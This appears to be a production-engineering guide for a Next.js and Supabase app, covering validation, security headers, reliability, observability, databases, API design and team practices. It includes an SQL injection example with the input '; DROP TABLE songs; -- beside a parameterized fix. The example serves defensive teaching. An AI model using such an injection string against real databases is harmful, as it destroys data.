Production Engineering — What Every Engineer Needs to Know

~/feed

$initializing

Production Engineering — What Every Engineer Needs to Know · ~/feed

Browser (zero trust)
     ↓ HTTP request
API route ← validate here with Zod
     ↓ service call
Service layer ← assert invariants here
     ↓ DB query
Database ← enforce constraints here (NOT NULL, CHECK, FK)

type Ok<T>  = { ok: true;  data: T }
type Err    = { ok: false; error: string; statusCode: number }
type Result<T> = Ok<T> | Err
 
// Caller is forced to handle both paths — no silent swallow
const result = await searchSongs(q, page, token)
if (!result.ok) return NextResponse.json({ error: result.error }, { status: result.statusCode })
return NextResponse.json(result.data)

// Good: lib/env.ts — throws on missing var
export function getEnv(key: ServerVar): string {
  const val = process.env[key]
  if (!val) throw new Error(`Missing environment variable: ${key}`)
  return val
}
 
// Bad: silently uses undefined
const token = process.env.GENIUS_ACCESS_TOKEN  // undefined in prod → silent breakage

// Destroys the error — you'll never know why it failed
someOperation().catch(() => {})
 
// Also bad — logs but doesn't surface to Sentry
someOperation().catch(err => console.error(err))
 
// Good — structured log + Sentry capture
someOperation().catch(err => logger.error('operation_failed', { context }, err))

// Pure — testable with no mocks
function getLevelInfo(totalTlp: number): LevelInfo { ... }
 
// Side effect at the edge — one place to test/mock
async function saveSession(data: SessionData): Promise<Result<void>> { ... }

-- Vulnerable
SELECT * FROM songs WHERE title = '${userInput}'
-- User sends: '; DROP TABLE songs; --
-- Result: SELECT * FROM songs WHERE title = ''; DROP TABLE songs; --
 
-- Safe (parameterized)
SELECT * FROM songs WHERE title = $1  -- Supabase client always does this

Component	Should use	Should NOT use
Browser/client	Supabase anon key	Service role key
API routes (user actions)	User's JWT (via Supabase SSR)	Service role key
API routes (admin/cron)	Service role key	Never from browser
Batch scripts	Service role key	Anon key

script-src 'self' 'nonce-{nonce}' 'strict-dynamic'   ← only nonce'd scripts run
style-src  'self' 'unsafe-inline'                     ← needed for React inline styles
img-src    'self' data: blob: https://*.genius.com …  ← explicit allowlist
connect-src 'self' https://*.supabase.co …            ← controls fetch/XHR destinations
frame-src  'none'                                     ← no iframes at all (anti-clickjacking)

Term	Meaning	Example
SLI (Service Level Indicator)	A metric that measures reliability	Request success rate, p95 latency
SLO (Service Level Objective)	Your internal target for an SLI	99.5% success rate over 30 days
SLA (Service Level Agreement)	A contract with consequences	"99.9% uptime or credits issued"
Error budget	How much failure you can afford	`1 - 0.995 = 0.5%` of requests can fail

Dependency hierarchy (most → least critical):
  App renders      ← must work
    ├── Auth       ← must work
    ├── Search     ← important, can degrade to "no results"
    ├── Cover art  ← nice-to-have, replace with placeholder
    └── Semantic   ← opt-in feature, returns [] on failure

States:
  CLOSED   → requests pass through normally
  OPEN     → requests blocked, fast-fail returned
  HALF-OPEN → test request sent; if success → CLOSED; if fail → OPEN
 
Threshold: 5 failures in 10 seconds → OPEN for 30 seconds

async function withRetry<T>(fn: () => Promise<T>, maxAttempts = 3): Promise<T> {
  for (let attempt = 1; attempt <= maxAttempts; attempt++) {
    try {
      return await fn()
    } catch (err) {
      if (attempt === maxAttempts) throw err
      // Exponential: 100ms, 200ms, 400ms — plus random jitter to prevent thundering herd
      const base = 100 * Math.pow(2, attempt - 1)
      const jitter = Math.random() * base
      await new Promise(r => setTimeout(r, base + jitter))
    }
  }
  throw new Error('unreachable')
}

-- Safe: add a nullable column
ALTER TABLE songs ADD COLUMN IF NOT EXISTS new_field text;
-- Old code ignores it. New code uses it. Both work.
 
-- Unsafe: rename a column
ALTER TABLE songs RENAME COLUMN title TO song_title;
-- Old code references "title" which no longer exists → instant 500s

// app/api/health/route.ts
export async function GET() {
  const checks = await Promise.allSettled([
    supabase.from('songs').select('id').limit(1),  // DB reachable?
    getRedis().ping(),                              // Redis reachable?
  ])
  const healthy = checks.every(c => c.status === 'fulfilled')
  return Response.json(
    { ok: healthy, checks: checks.map(c => c.status) },
    { status: healthy ? 200 : 503 }
  )
}

// Log requests that should be rare but matter
logger.info('daily_challenge_completed', {
  userId,
  songId,
  wpm,
  streak,
  latency_ms: Date.now() - start,
})
 
// Log every cache decision
logger.info('semantic_search', {
  query,
  cache_hit: Boolean(cached),
  result_count: songs.length,
  latency_ms,
})
 
// Log anomalies, not normal flow
logger.warn('rate_limit_exceeded', { ip, route })
logger.error('db_query_failed', { query: 'match_songs' }, err)

Level	Use when	Action required
`debug`	Verbose trace for local investigation	None (disabled in prod)
`info`	Business events worth recording	None, just telemetry
`warn`	Expected transient issue (Redis miss, rate limit)	Monitor frequency
`error`	Unexpected failure requiring investigation	Alert, page oncall

GET /api/songs/search?q=taylor  [total: 234ms]
  ├── Rate limit check (Redis)   [12ms]
  ├── Parse + validate input     [1ms]
  └── searchSongs()              [221ms]
        ├── Genius API fetch     [198ms]  ← the slow part
        └── Response transform   [1ms]

Metric	What it measures	Good threshold
LCP (Largest Contentful Paint)	When the main content loads	< 2.5s
CLS (Cumulative Layout Shift)	Unexpected layout movement	< 0.1
INP (Interaction to Next Paint)	Responsiveness to clicks	< 200ms

Browser cache        (0ms)    ← no network at all
     ↓ miss
Vercel CDN edge      (~5ms)   ← served from nearest data center
     ↓ miss
Redis cache          (~10ms)  ← in-memory, global, shared across instances
     ↓ miss
Database query       (~30ms)  ← Postgres with indexes
     ↓ miss
External API         (~200ms) ← Genius, OpenAI — cross-network

Strategy	When to use	Tradeoff
RSC (React Server Component)	Data fetching, auth checks, SEO-critical content	No interactivity, no hooks
SSR (Server-Side Render)	Dynamic pages with auth	Slower than static, fresh data
SSG (Static Site Generation)	Content that rarely changes	Fastest, but stale until rebuild
CSR (Client-Side Render)	Interactive UI after hydration	No SEO, flash of empty content

// N+1: 1 query for songs + 1 query per song for stats = 101 queries for 100 songs
const songs = await getSongs()                    // 1 query
for (const song of songs) {
  const stats = await getStatsForSong(song.id)   // N queries
}
 
// Fixed: 1 query for songs + 1 query for all stats = 2 queries
const songs = await getSongs()
const songIds = songs.map(s => s.id)
const stats = await getStatsBatch(songIds)        // WHERE song_id = ANY($1)
const statsMap = new Map(stats.map(s => [s.song_id, s]))
const result = songs.map(s => ({ ...s, stats: statsMap.get(s.id) }))

Index on columns you filter by (WHERE user_id = $1)
Index on columns you sort by (ORDER BY created_at DESC)
Composite indexes are ordered — (user_id, created_at) helps queries that filter by user_id AND sort by created_at, but only helps user_id alone, never created_at alone

Partial indexes for common filtered queries:

CREATE INDEX idx_sessions_daily ON typing_sessions (user_id, created_at)
  WHERE is_daily_challenge = true;
-- Only indexes daily challenge rows — smaller, faster for that specific query

Migration type	Safety	Notes
Add nullable column	Safe	Old code ignores it
Add NOT NULL column with default	Safe	Old code ignores it; DB fills default
Add NOT NULL without default	Dangerous	Existing rows have no value — locks table
Rename column	Dangerous	Old code references old name → crashes
Drop column	Dangerous	Old code may still reference it
Add index	Safe (mostly)	Use `CREATE INDEX CONCURRENTLY` — doesn't lock table
Drop index	Safe	No code depends on indexes directly
Add foreign key	Dangerous	Locks both tables during validation

GET    /api/songs          → list
GET    /api/songs/:id      → single item
POST   /api/songs          → create
PATCH  /api/songs/:id      → partial update
DELETE /api/songs/:id      → delete

// Every error response
{
  "error": "Human-readable message",    // for developers
  "code": "RATE_LIMIT_EXCEEDED",        // for programmatic handling
  "retryAfter": 42                      // optional: how long to wait
}

Code	Meaning	Use when
200	OK	Request succeeded
201	Created	Resource created (POST)
204	No Content	Success, no body (DELETE)
400	Bad Request	Client sent invalid input
401	Unauthorized	Not authenticated (no session)
403	Forbidden	Authenticated but not allowed
404	Not Found	Resource doesn't exist
409	Conflict	State conflict (duplicate, version mismatch)
422	Unprocessable Entity	Valid JSON but fails validation
429	Too Many Requests	Rate limited — include `Retry-After` header
500	Server Error	Unexpected failure (never return details)
503	Service Unavailable	External dependency down

// Always limit + offset or cursor-based
GET /api/songs?page=2&limit=20
→ { songs: [...], hasMore: true }
 
// Or cursor-based (more efficient for large datasets)
GET /api/songs?cursor=<last_id>&limit=20
→ { songs: [...], nextCursor: "<next_id>" }

async function isFeatureEnabled(feature: string, userId: string): Promise<boolean> {
  // Check user-specific override first
  const userOverride = await redis.get(`flag:${feature}:user:${userId}`)
  if (userOverride !== null) return userOverride === '1'
 
  // Fall back to global percentage rollout
  const rollout = Number(await redis.get(`flag:${feature}:rollout`) ?? 0)
  if (rollout >= 100) return true
  if (rollout <= 0) return false
  // Deterministic: same user always gets same answer
  const hash = parseInt(createHash('md5').update(userId + feature).digest('hex').slice(0, 8), 16)
  return (hash % 100) < rollout
}

Variant A (control): Current search result order
Variant B (test):    Semantic search results promoted to top
 
Metric: songs clicked / search session
Winner: whichever has higher click-through rate after N users

Factor	Status	Notes
I. Codebase — one repo, many deploys	✅	Monorepo with Vercel environments
II. Dependencies — explicit, isolated	✅	pnpm lockfile, no system deps
III. Config — in environment, not code	✅	All secrets in env vars, never in code
IV. Backing services — treat as attached resources	✅	Supabase URL in env var; swap by changing it
V. Build, release, run — strict separation	✅	Vercel builds then deploys separately
VI. Processes — stateless	✅	Serverless functions; state in Supabase/Redis
VII. Port binding — export via port	✅	Next.js dev server on :3005
VIII. Concurrency — scale out	✅	Serverless auto-scales
IX. Disposability — fast startup, graceful shutdown	✅	Serverless by design
X. Dev/prod parity	⚠️	Dev hits prod DB — should use local Supabase
XI. Logs — event streams	✅	Structured JSON logs to stdout
XII. Admin processes — one-off tasks	✅	`scripts/embed-songs.ts` is a one-off process

Term	Meaning	Question it answers
RTO (Recovery Time Objective)	How long until service is restored	"How long can we be down?"
RPO (Recovery Point Objective)	How much data loss is acceptable	"How old can the last backup be?"

Difference	Example	Fix
Database version	Postgres 14 local, 15 prod	Use `supabase start` with matching version
Data volume	100 rows local, 1.7M prod	Test pagination and query performance with real data
Env vars	Missing var noticed only in prod	`validateEnv()` on startup catches this
Network latency	Local DB is instant, prod DB ~20ms	Doesn't matter until you have N+1 queries
HTTPS vs HTTP	OAuth redirects may differ	Use `NEXT_PUBLIC_SITE_URL` consistently

feat: add semantic search toggle to browse page
fix: correct hasTitleMatch false positive for short queries
chore: update vitest to 4.1.5
refactor: extract rate limit check into shared middleware
docs: add devops guide

Reversible	Irreversible
Changing a UI component	Deleting a database column with data
Adding a feature flag	Publishing a breaking API change
Changing a CSS variable	Removing a user's account

Build	Buy/use managed service
Competitive differentiator	Commodity infrastructure
Novel problem	Solved problem
Need exact control	Need speed and reliability
Team has deep expertise	Team does not have expertise

Security checklist (before every deploy):
  □ Input validated with Zod at every API boundary
  □ No secrets in code, console.log, or error responses
  □ Rate limiting on every public endpoint
  □ Service role key only in server-side code
  □ New external URLs added to CSP img-src / connect-src
 
Reliability checklist:
  □ New external dependency has a timeout
  □ Failure path returns gracefully (not 500)
  □ New migrations are backward compatible
  □ Feature is testable independently of the main flow
 
Code quality checklist:
  □ Input validated at the entry point
  □ Errors logged with context (not swallowed)
  □ No N+1 queries in the hot path
  □ SELECT names specific columns, not *
 
Before merging to main:
  □ CI is green (typecheck + lint + tests)
  □ PR description explains the why
  □ New env vars added to turbo.json and Vercel dashboard
  □ New API routes have rate limiting

Table of Contents

1. Code Implementation — Defensive Engineering

Validate at every trust boundary

Use the Result pattern instead of exceptions for expected failures

Fail fast on startup, not on first use

Idempotency — design operations to be safe to retry

Never silently swallow errors

Immutability and pure functions

2. Security — Enterprise Web App

The OWASP Top 10 — what each one is and how this stack handles it

A01 — Broken Access Control

A02 — Cryptographic Failures

A03 — Injection (SQL, Command, LDAP)

A04 — Insecure Design

A05 — Security Misconfiguration

A06 — Vulnerable and Outdated Components

A07 — Identification and Authentication Failures

A08 — Software and Data Integrity Failures

A09 — Security Logging and Monitoring Failures

A10 — Server-Side Request Forgery (SSRF)

Authentication patterns you must understand

JWT (JSON Web Token)

Sessions vs tokens

The principle of least privilege

XSS (Cross-Site Scripting)

CSRF (Cross-Site Request Forgery)

Content Security Policy (CSP)

Dependency supply chain security

3. Reliability Engineering

SLIs, SLOs, SLAs — the reliability vocabulary

Graceful degradation

Circuit breaker pattern

Retry with exponential backoff and jitter

Zero-downtime deployments

Health checks

4. Observability — Logs, Metrics, Traces

Logs — what happened

Metrics — how much, how fast

Traces — why it was slow

The difference between logging and monitoring

5. Performance Engineering

Core Web Vitals — what Google measures

The caching hierarchy

Bundle size

Server vs client rendering

6. Database Best Practices

Never SELECT * in production code

N+1 queries — the most common performance bug

Index design

Connection pooling

Migration safety rules

Backup strategy — the 3-2-1 rule

7. API Design Principles

RESTful conventions

Consistent error shape

HTTP status codes used correctly

API versioning

Pagination

8. Product Lifecycle Engineering

Feature flags

Gradual rollouts / canary deploys

A/B testing

API deprecation lifecycle

Semantic versioning for packages

9. Platform Engineering

The 12-Factor App methodology

Infrastructure as Code (IaC)

Disaster recovery — RTO and RPO

Environment parity (the hardest rule to follow)

Runbooks

10. Developer Experience & Team Practices

Pull request discipline

Code review principles

Commit discipline

Technical debt management

Documentation philosophy

11. The Senior Engineer Mindset

Systems thinking

The reversibility principle

Boring technology